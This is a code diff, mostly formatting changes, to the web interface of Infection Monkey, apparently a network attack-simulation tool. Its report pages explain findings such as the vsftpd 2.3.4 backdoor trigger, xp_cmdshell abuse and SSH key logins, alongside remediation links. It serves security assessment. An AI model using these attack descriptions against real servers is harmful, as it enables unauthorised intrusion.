{this.generateIssues(this.state.report.recommendations.issues)}
@@ -444,13 +450,13 @@ class ReportPageComponent extends AuthComponent {
- {this.generateReportPthMap()}
+ {this.generateReportPthMap()}
-
+
);
@@ -463,33 +469,35 @@ class ReportPageComponent extends AuthComponent {
Credentials Map
- This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
+ This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral
+ movement opportunities by attackers.
Legend:
- Access credentials |
+ Access credentials |
-
+
);
}
generateAttackSection() {
return (
-
- ATT&CK report
-
-
- This report shows information about ATT&CK techniques used by Infection Monkey.
-
-
-
-
)
+
+ ATT&CK report
+
+
+ This report shows information about ATT&CK techniques used by Infection Monkey.
+
+
+
+ )
}
generateReportFooter() {
@@ -510,22 +518,22 @@ class ReportPageComponent extends AuthComponent {
generateCrossSegmentIssue(crossSegmentIssue) {
return
{'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']}
-
-
- {crossSegmentIssue['issues'].map(x =>
- x['is_self'] ?
-
- {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
-
- :
-
- {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
- + ' using the services: ' + Object.keys(x['services']).join(', ')}
-
- )}
-
-
- ;
+
+
+ {crossSegmentIssue['issues'].map(x =>
+ x['is_self'] ?
+
+ {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
+
+ :
+
+ {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
+ + ' using the services: ' + Object.keys(x['services']).join(', ')}
+
+ )}
+
+
+ ;
}
generateShellshockPathListBadges(paths) {
@@ -619,18 +627,18 @@ class ReportPageComponent extends AuthComponent {
generateSshKeysIssue(issue) {
return (
-
- Protect {issue.ssh_key} private key with a pass phrase.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
-
- The Monkey authenticated over the SSH protocol with private key {issue.ssh_key} .
-
-
- );
+
+ Protect {issue.ssh_key} private key with a pass phrase.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
+
+ The Monkey authenticated over the SSH protocol with private key {issue.ssh_key} .
+
+
+ );
}
@@ -660,17 +668,20 @@ class ReportPageComponent extends AuthComponent {
Update your VSFTPD server to the latest version vsftpd-3.0.3.
The machine {issue.machine} ({issue.ip_address} ) has a backdoor running at port {issue.ip_address} ) has a backdoor running at port 6200 .
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
- In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
- Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
+ In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
+ compromised.
+ Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command
+ shell on port 6200.
- The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
+ The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor
+ at port 6200.
Read more about the security issue and remediation here .
+ href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
+ >here.
);
@@ -716,8 +727,8 @@ class ReportPageComponent extends AuthComponent {
Credentials could be stolen from {issue.machine} for the following users {issue.users} . Read more about the security issue and remediation here .
+ href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
+ >here.
);
@@ -756,11 +767,11 @@ class ReportPageComponent extends AuthComponent {
generateSharedCredsDomainIssue(issue) {
return (
-
+
Some domain users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
- {this.generateInfoBadges(issue.shared_with)}.
+ {this.generateInfoBadges(issue.shared_with)}.
);
@@ -768,11 +779,11 @@ class ReportPageComponent extends AuthComponent {
generateSharedCredsIssue(issue) {
return (
-
+
Some users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
- {this.generateInfoBadges(issue.shared_with)}.
+ {this.generateInfoBadges(issue.shared_with)}.
);
@@ -780,8 +791,9 @@ class ReportPageComponent extends AuthComponent {
generateSharedLocalAdminsIssue(issue) {
return (
-
- Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing.
+
+ Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local
+ admin sharing.
Here is a list of machines which the account {issue.username} is defined as an administrator:
@@ -793,13 +805,13 @@ class ReportPageComponent extends AuthComponent {
generateStrongUsersOnCritIssue(issue) {
return (
-
+
This critical machine is open to attacks via strong users with access to it.
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
thus classifying it as a critical machine.
These users has access to it:
- {this.generateInfoBadges(issue.threatening_users)}.
+ {this.generateInfoBadges(issue.threatening_users)}.
);
@@ -829,8 +841,8 @@ class ReportPageComponent extends AuthComponent {
The attack was made possible because the server is using an old version of Jakarta based file upload
Multipart parser. For possible work-arounds and more info read here .
+ href="https://cwiki.apache.org/confluence/display/WW/S2-045"
+ >here.
);
@@ -856,7 +868,8 @@ class ReportPageComponent extends AuthComponent {
generateHadoopIssue(issue) {
return (
- Run Hadoop in secure mode (
+ Run Hadoop in secure mode (
add Kerberos authentication ).
The Hadoop server at {issue.machine} (
Disable the xp_cmdshell option.
@@ -880,8 +893,8 @@ generateMSSQLIssue(issue) {
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read
- Microsoft's documentation.
+ href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
+ Microsoft's documentation.
);
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index 1008199fc..57373b2f7 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -1,5 +1,5 @@
import React from 'react';
-import { css } from '@emotion/core';
+import {css} from '@emotion/core';
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
import CopyToClipboard from 'react-copy-to-clipboard';
import GridLoader from 'react-spinners/GridLoader';
@@ -35,7 +35,7 @@ class RunMonkeyPageComponent extends AuthComponent {
isLoadingAws: true,
isErrorWhileCollectingAwsMachines: false,
awsMachineCollectionErrorMsg: ''
- };
+ };
}
componentDidMount() {
@@ -48,7 +48,7 @@ class RunMonkeyPageComponent extends AuthComponent {
this.authFetch('/api/local-monkey')
.then(res => res.json())
- .then(res =>{
+ .then(res => {
if (res['is_running']) {
this.setState({runningOnIslandState: 'running'});
} else {
@@ -75,7 +75,7 @@ class RunMonkeyPageComponent extends AuthComponent {
fetchAwsInfo() {
return this.authFetch('/api/remote-monkey?action=list_aws')
.then(res => res.json())
- .then(res =>{
+ .then(res => {
let is_aws = res['is_aws'];
if (is_aws) {
// On AWS!
@@ -83,7 +83,12 @@ class RunMonkeyPageComponent extends AuthComponent {
let is_error_while_collecting_aws_machines = (res['error'] != null);
if (is_error_while_collecting_aws_machines) {
// There was an error. Finish loading, and display error message.
- this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false});
+ this.setState({
+ isOnAws: true,
+ isErrorWhileCollectingAwsMachines: true,
+ awsMachineCollectionErrorMsg: res['error'],
+ isLoadingAws: false
+ });
} else {
// No error! Finish loading and display machines for user
this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false});
@@ -138,7 +143,7 @@ class RunMonkeyPageComponent extends AuthComponent {
cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit);
}
return (
-
+
@@ -219,6 +224,7 @@ class RunMonkeyPageComponent extends AuthComponent {
});
});
};
+
fetchConfig() {
return this.authFetch('/api/configuration/island')
.then(res => res.json())
@@ -226,6 +232,7 @@ class RunMonkeyPageComponent extends AuthComponent {
return res.configuration;
})
}
+
instanceIdToInstance = (instance_id) => {
let instance = this.state.awsMachines.find(
function (inst) {
@@ -241,7 +248,9 @@ class RunMonkeyPageComponent extends AuthComponent {
{
@@ -250,7 +259,7 @@ class RunMonkeyPageComponent extends AuthComponent {
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => {ip} )}
- :
+ :
}
Run on selected machines
- { this.state.awsClicked ? : null }
+ {this.state.awsClicked ? : null}
)
}
+
render() {
return (
@@ -281,9 +291,9 @@ class RunMonkeyPageComponent extends AuthComponent {
+ >
Run on Monkey Island Server
- { RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) }
+ {RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState)}
{
// TODO: implement button functionality
@@ -302,7 +312,8 @@ class RunMonkeyPageComponent extends AuthComponent {
OR
-
+
Run on machine of your choice
@@ -323,7 +334,7 @@ class RunMonkeyPageComponent extends AuthComponent {
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => {ip} )}
- :
+ :
}
Copy the following command to your machine and run it with Administrator or root privileges.
@@ -344,7 +355,7 @@ class RunMonkeyPageComponent extends AuthComponent {
/>
- : null
+ : null
}
{
this.state.isOnAws ?
@@ -357,7 +368,8 @@ class RunMonkeyPageComponent extends AuthComponent {
{
this.state.isOnAws ?
-
+
Run on AWS machine of your choice
@@ -370,9 +382,12 @@ class RunMonkeyPageComponent extends AuthComponent {
- Error while collecting AWS machine data. Error message: {this.state.awsMachineCollectionErrorMsg}
+ Error while collecting AWS machine data. Error
+ message: {this.state.awsMachineCollectionErrorMsg}
Are you sure you've set the correct role on your Island AWS machine?
- Not sure what this is? Read the documentation !
+ Not sure what this is? Read
+ the documentation !
:
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
index c44a5a72f..eca159133 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
@@ -29,7 +29,9 @@ class StartOverPageComponent extends AuthComponent {
return (
this.setState({showCleanDialog: false})}>
- Reset environment
+
+ Reset environment
+
Are you sure you want to reset the environment?
@@ -40,7 +42,7 @@ class StartOverPageComponent extends AuthComponent {
Some monkeys are still running. It's advised to kill all monkeys before resetting.
:
-
+
}
{
this.setState({showCleanDialog: true});
- this.updateMonkeysRunning();}
+ this.updateMonkeysRunning();
+ }
}>
Reset the Environment
@@ -86,7 +89,7 @@ class StartOverPageComponent extends AuthComponent {
You can continue and Run More Monkeys as you wish,
and see the results on the Infection Map without deleting anything.
- { this.state.cleaned ?
+ {this.state.cleaned ?
Environment was reset successfully
@@ -106,8 +109,8 @@ class StartOverPageComponent extends AuthComponent {
.then(res => {
if (res['status'] === 'OK') {
this.setState({
- cleaned: true
- });
+ cleaned: true
+ });
}
});
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
index 120344eea..27fb50cd0 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
@@ -5,14 +5,14 @@ import {DataTable} from 'react-data-components';
import AuthComponent from '../AuthComponent';
import download from 'downloadjs'
-const renderJson = (val) =>
;
+const renderJson = (val) =>
;
const renderTime = (val) => val.split('.')[0];
const columns = [
- { title: 'Time', prop: 'timestamp', render: renderTime},
- { title: 'Monkey', prop: 'monkey'},
- { title: 'Type', prop: 'telem_catagory'},
- { title: 'Details', prop: 'data', render: renderJson, width: '40%' }
+ {title: 'Time', prop: 'timestamp', render: renderTime},
+ {title: 'Monkey', prop: 'monkey'},
+ {title: 'Type', prop: 'telem_catagory'},
+ {title: 'Details', prop: 'data', render: renderJson, width: '40%'}
];
class TelemetryPageComponent extends AuthComponent {
@@ -29,7 +29,7 @@ class TelemetryPageComponent extends AuthComponent {
.then(res => this.setState({data: res.objects}));
};
-downloadIslandLog = () => {
+ downloadIslandLog = () => {
this.authFetch('/api/log/island/download')
.then(res => res.json())
.then(res => {
@@ -37,39 +37,39 @@ downloadIslandLog = () => {
let logContent = (res['log_file']);
download(logContent, filename, 'text/plain');
});
- };
+ };
render() {
return (
-
-
-
-
Monkey Island Logs
-
-
Download Monkey Island internal log file
-
{
- this.downloadIslandLog();
+
+
+
+
Monkey Island Logs
+
+
Download Monkey Island internal log file
+
{
+ this.downloadIslandLog();
}}>
- Download
-
-
+
Download
+
+
+
-
);
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
index 5bc6183fd..c5300f657 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
@@ -18,8 +18,7 @@ class PaginatedTable extends Component {
/>
);
- }
- else {
+ } else {
return (
);
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
index 13f9cd92e..92dac6cff 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
@@ -100,9 +100,9 @@ class AttackReportPageComponent extends AuthComponent {
}
onToggle = technique =>
- this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique }));
+ this.setState(state => ({collapseOpen: state.collapseOpen === technique ? null : technique}));
- getComponentClass(tech_id){
+ getComponentClass(tech_id) {
switch (this.state.report[tech_id].status) {
case ScanStatus.SCANNED:
return 'collapse-info';
@@ -113,9 +113,9 @@ class AttackReportPageComponent extends AuthComponent {
}
}
- getTechniqueCollapse(tech_id){
+ getTechniqueCollapse(tech_id) {
return (
-
+
this.onToggle(tech_id)}>
{this.state.report[tech_id].title}
@@ -125,11 +125,11 @@ class AttackReportPageComponent extends AuthComponent {
{
- this.setState({ tech_id: collapseState });
+ onChange={({collapseState}) => {
+ this.setState({tech_id: collapseState});
}}
- onInit={({ collapseState }) => {
- this.setState({ tech_id: collapseState });
+ onInit={({collapseState}) => {
+ this.setState({tech_id: collapseState});
}}
render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
@@ -146,23 +146,23 @@ class AttackReportPageComponent extends AuthComponent {
}
renderLegend() {
- return( )
+ return ()
}
- generateReportContent(){
+ generateReportContent() {
let content = [];
Object.keys(this.state.report).forEach((tech_id) => {
content.push(this.getTechniqueCollapse(tech_id))
@@ -177,15 +177,14 @@ class AttackReportPageComponent extends AuthComponent {
render() {
let content;
- if (! this.state.runStarted)
- {
+ if (!this.state.runStarted) {
content =
You have to run a monkey before generating a report!
;
- } else if (this.state.report === false){
- content = (
Generating Report... );
+ } else if (this.state.report === false) {
+ content = (
Generating Report... );
} else if (Object.keys(this.state.report).length === 0) {
if (this.state.runStarted) {
content = (
No techniques were scanned );
@@ -193,7 +192,7 @@ class AttackReportPageComponent extends AuthComponent {
} else {
content = this.generateReportContent();
}
- return (
{content}
);
+ return (
{content}
);
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
index 16f445ce9..b1dc64f62 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
return
;
};
@@ -14,10 +14,12 @@ const columns = [
Header: 'Breached Servers',
columns: [
{Header: 'Machine', accessor: 'label'},
- {Header: 'IP Addresses', id: 'ip_addresses',
- accessor: x => renderIpAddresses(x)},
+ {
+ Header: 'IP Addresses', id: 'ip_addresses',
+ accessor: x => renderIpAddresses(x)
+ },
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
- ]
+ ]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
index ea39e3c45..ebbc473f8 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
return
{val.map(x => {x} )} ;
};
@@ -15,36 +15,36 @@ let renderMachine = function (data) {
let renderPbaResults = function (results) {
let pbaClass = "";
- if (results[1]){
- pbaClass="pba-success"
+ if (results[1]) {
+ pbaClass = "pba-success"
} else {
- pbaClass="pba-danger"
+ pbaClass = "pba-danger"
}
return
{results[0]}
};
const subColumns = [
- {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160},
- {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
+ {id: 'pba_name', Header: "Name", accessor: x => x.name, style: {'whiteSpace': 'unset'}, width: 160},
+ {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: {'whiteSpace': 'unset'}}
];
let renderDetails = function (data) {
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
let showPagination = data.length > pageSize;
return
+ data={data}
+ columns={subColumns}
+ defaultPageSize={defaultPageSize}
+ showPagination={showPagination}
+ style={{"backgroundColor": "#ededed"}}
+ />
};
const columns = [
{
Header: 'Post breach actions',
columns: [
- {id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
+ {id: 'pba_machine', Header: 'Machine', accessor: x => renderMachine(x)}
]
}
];
@@ -57,8 +57,8 @@ class PostBreachComponent extends React.Component {
}
render() {
- let pbaMachines = this.props.data.filter(function(value, index, arr){
- return ( value.pba_results !== "None" && value.pba_results.length > 0);
+ let pbaMachines = this.props.data.filter(function (value, index, arr) {
+ return (value.pba_results !== "None" && value.pba_results.length > 0);
});
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
let showPagination = pbaMachines > pageSize;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
index 57418e415..585e6af37 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
return
;
};
@@ -13,11 +13,13 @@ const columns = [
{
Header: 'Scanned Servers',
columns: [
- { Header: 'Machine', accessor: 'label'},
- { Header: 'IP Addresses', id: 'ip_addresses',
- accessor: x => renderIpAddresses(x)},
- { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
- { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
+ {Header: 'Machine', accessor: 'label'},
+ {
+ Header: 'IP Addresses', id: 'ip_addresses',
+ accessor: x => renderIpAddresses(x)
+ },
+ {Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
+ {Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
index fde46f85a..25a701871 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
@@ -5,9 +5,9 @@ const columns = [
{
Header: 'Stolen Credentials',
columns: [
- { Header: 'Username', accessor: 'username'},
- { Header: 'Type', accessor: 'type'},
- { Header: 'Stolen From', accessor: 'origin'}
+ {Header: 'Username', accessor: 'username'},
+ {Header: 'Type', accessor: 'type'},
+ {Header: 'Stolen From', accessor: 'origin'}
]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
index a8f045479..2c2a79c07 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
console.log(val);
return
;
};
@@ -10,9 +10,9 @@ const columns = [
{
Header: 'Powerful Users',
columns: [
- { Header: 'Username', accessor: 'username'},
- { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
- { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
+ {Header: 'Username', accessor: 'username'},
+ {Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
+ {Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
index 761ff94a9..49905531c 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -21,13 +21,13 @@ export default class EventsButton extends Component {
render() {
return
-
-
-
- Events {this.createEventsAmountBadge()}
-
-
+
+
+
+ Events {this.createEventsAmountBadge()}
+
+
;
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
index a7f2fe41c..2f56c7a76 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
@@ -20,9 +20,11 @@ export default class EventsModal extends Component {
Events
-
+
- There {Pluralize('is', this.props.events.length)} {
{this.props.events.length}
} {Pluralize('event', this.props.events.length)} associated with this finding.
+ There {Pluralize('is', this.props.events.length)} {
{this.props.events.length}
} {Pluralize('event', this.props.events.length)} associated
+ with this finding.
{this.props.events.length > 5 ? this.renderButtons() : null}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
index b7fb90811..e124b6659 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
@@ -22,8 +22,8 @@ export default class EventsTimeline extends Component {
key={index}
createdAt={event_time}
title={event.title}
- icon={ }>
- {event.message}
+ icon={ }>
+ {event.message}
)
})
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
index 51c5ca380..2eb839504 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
@@ -15,7 +15,8 @@ const pillarToIcon = {
export default class PillarLabel extends Component {
render() {
const className = "label " + statusToLabelType[this.props.status];
- return {this.props.pillar}
+ return {this.props.pillar}
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
index b50ee0c28..6db2dfad3 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
@@ -10,19 +10,22 @@ const MAX_WIDTH_STATUS_COLUMN = 80;
const columns = [
{
columns: [
- { Header: 'Status', id: 'status',
+ {
+ Header: 'Status', id: 'status',
accessor: x => {
- return ;
+ return ;
},
maxWidth: MAX_WIDTH_STATUS_COLUMN
},
- { Header: 'Zero Trust Principle', accessor: 'principle',
+ {
+ Header: 'Zero Trust Principle', accessor: 'principle',
style: {'whiteSpace': 'unset'} // This enables word wrap
},
- { Header: 'Monkey Tests', id: 'tests',
+ {
+ Header: 'Monkey Tests', id: 'tests',
style: {'whiteSpace': 'unset'}, // This enables word wrap
accessor: x => {
- return ;
+ return ;
}
}
]
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
index 5ef75f2b4..0820fe3a6 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -13,7 +13,7 @@ class ZeroTrustReportLegend extends Component {
- Legend
+ Legend
@@ -32,7 +32,8 @@ class ZeroTrustReportLegend extends Component {
- {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
+ {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an
+ unmet Zero Trust requirement.
@@ -50,7 +51,8 @@ class ZeroTrustReportLegend extends Component {
- {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey
configuration page.
+ {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey
configuration page.
;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
index 8e4512ac7..8de7a4d21 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
@@ -9,14 +9,14 @@ export default class SinglePillarPrinciplesStatus extends AuthComponent {
render() {
if (this.props.principlesStatus.length === 0) {
return null;
- }
- else {
+ } else {
return (
-
+
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
index d34a484b9..0002ba9e0 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
@@ -21,11 +21,11 @@ export default class StatusesToPillarsSummary extends Component {
- {
- this.props.statusesToPillars[status].map((pillar) => {
- return
- })
- }
+ {
+ this.props.statusesToPillars[status].map((pillar) => {
+ return
+ })
+ }
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
index e4012bf50..0f937f341 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
@@ -14,9 +14,10 @@ export default class SummarySection extends Component {
- Get a quick glance at how your network aligns with the
- Zero Trust eXtended (ZTX) framework
- .
+ Get a quick glance at how your network aligns with the
+ Zero Trust eXtended (ZTX) framework
+ .
diff --git a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js
index 6a8fe9416..f2815a142 100644
--- a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js
@@ -8,10 +8,10 @@ const columns = [
{
Header: 'Machines',
columns: [
- { Header: 'Machine', accessor: 'name'},
- { Header: 'Instance ID', accessor: 'instance_id'},
- { Header: 'IP Address', accessor: 'ip_address'},
- { Header: 'OS', accessor: 'os'}
+ {Header: 'Machine', accessor: 'name'},
+ {Header: 'Instance ID', accessor: 'instance_id'},
+ {Header: 'IP Address', accessor: 'ip_address'},
+ {Header: 'OS', accessor: 'os'}
]
}
];
@@ -44,7 +44,7 @@ class AwsRunTableComponent extends React.Component {
selection.push(key);
}
// update the state
- this.setState({ selection });
+ this.setState({selection});
};
isSelected = key => {
@@ -64,7 +64,7 @@ class AwsRunTableComponent extends React.Component {
selection.push(item._original.instance_id);
});
}
- this.setState({ selectAll, selection });
+ this.setState({selectAll, selection});
};
getTrProps = (s, r) => {
diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js
index 74204973a..f200a6fdb 100644
--- a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js
+++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js
@@ -15,59 +15,68 @@ class CheckboxComponent extends React.PureComponent {
this.props.name (the name of this component) and
this.state.checked (boolean indicating if this component is checked or not)
*/
- constructor(props) {
- super(props);
- this.state = {
- checked: this.props.checked,
+ constructor(props) {
+ super(props);
+ this.state = {
+ checked: this.props.checked,
necessary: this.props.necessary,
- isAnimating: false
- };
- this.toggleChecked = this.toggleChecked.bind(this);
- this.stopAnimation = this.stopAnimation.bind(this);
- this.composeStateClasses = this.composeStateClasses.bind(this);
- }
+ isAnimating: false
+ };
